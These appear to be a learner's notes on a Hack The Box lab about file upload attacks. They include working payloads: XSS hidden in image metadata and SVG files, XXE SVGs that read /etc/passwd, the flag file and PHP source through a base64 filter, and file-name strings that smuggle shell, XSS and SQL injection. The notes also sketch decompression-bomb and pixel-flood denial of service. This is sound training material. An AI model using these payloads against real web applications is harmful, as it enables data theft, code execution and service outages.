Other Upload Attacks
XSS
Many file types may allow us to introduce a Stored XSS vulnerability to the web application by uploading maliciously crafted versions of them
Another example of XSS attacks is web applications that display an image's metadata after its upload. For such web applications, we can include an XSS payload in one of the Metadata parameters that accept raw text, like the Comment or Artist parameters, as follows:
eldeim@htb[/htb]$ exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg
eldeim@htb[/htb]$ exiftool HTB.jpg
...SNIP...
Comment : "><img src=1 onerror=alert(window.origin)>Furthermore, if we change the image's MIME-Type to text/html, some web applications may show it as an HTML document instead of an image, in which case the XSS payload would be triggered even if the metadata wasn't directly displayed.
Finally, XSS attacks can also be carried with SVG images, along with several other attacks. Scalable Vector Graphics (SVG) images are XML-based, and they describe 2D vector graphics, which the browser renders into an image.
For example, we can write the following to HTB.svg:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
<rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
<script type="text/javascript">alert(window.origin);</script>
</svg>XXE
With SVG images, we can also include malicious XML data to leak the source code of the web application, and other internal documents within the server. The following example can be used for an SVG image that leaks the content of (/etc/passwd):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>While reading systems files like /etc/passwd can be very useful for server enumeration, it can have an even more significant benefit for web penetration testing, as it allows us to read the web application's source files.
To use XXE to read source code in PHP web applications, we can use the following payload in our SVG image:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>Once the SVG image is displayed, we should get the base64 encoded content of index.php, which we can decode to read the source code. Using XML data is not unique to SVG images, as it is also utilized by many types of documents, like PDF, Word Documents, PowerPoint Documents, among many other
DoS
Furthermore, we can utilize a Decompression Bomb with file types that use data compression, like ZIP archives.
Another possible DoS attack is a Pixel Flood attack with some image files that utilize image compression, like JPG or PNG. We can create any JPG image file with any image size (e.g. 500x500), and then manually modify its compression data to say it has a size of (0xffff x 0xffff), which results in an image with a perceived size of 4 Gigapixels.
When the web application attempts to display the image, it will attempt to allocate all of its memory to this image, resulting in a crash on the back-end server.
One way is uploading an overly large file, as some upload forms may not limit the upload file size or check for it before uploading it, which may fill up the server's hard drive and cause it to crash or slow down considerably.
If the upload function is vulnerable to directory traversal, we may also attempt uploading files to a different directory (e.g. ../../../etc/passwd), which may also cause the server to crash. Try to search for other examples of DOS attacks through a vulnerable file upload functionality.
PoCs - Questions
The above exercise contains an upload functionality that should be secure against arbitrary file uploads. Try to exploit it using one of the attacks shown in this section to read "/flag.txt"
First i make a .svg image -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]>
<svg>&xxe;</svg>We can use: etc/passwd but, we need read the flag into /
Then, examinate the source code and see the flag -->
Try to read the source code of 'upload.php' to identify the uploads directory, and use its name as the answer. (write it exactly as found in the source, without quotes)
We can use a XXE with base64 encode to read local archive with name upload.php, and it get us a enconde line -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>
Decode it and u have the content of upload.php jeje
Injections in File Name
For example, if we name a file file$(whoami).jpg or file`whoami`.jpg or file.jpg||whoami, and then the web application attempts to move the uploaded file with an OS command (e.g. mv file /tmp), then our file name would inject the whoami command, which would get executed, leading to remote code execution. You may refer to the Command Injections module for more information.
Similarly, we may use an XSS payload in the file name (e.g. <script>alert(window.origin);</script>), which would get executed on the target's machine if the file name is displayed to them. We may also inject an SQL query in the file name (e.g. file';select+sleep(5);--.jpg), which may lead to an SQL injection if the file name is insecurely used in an SQL query.
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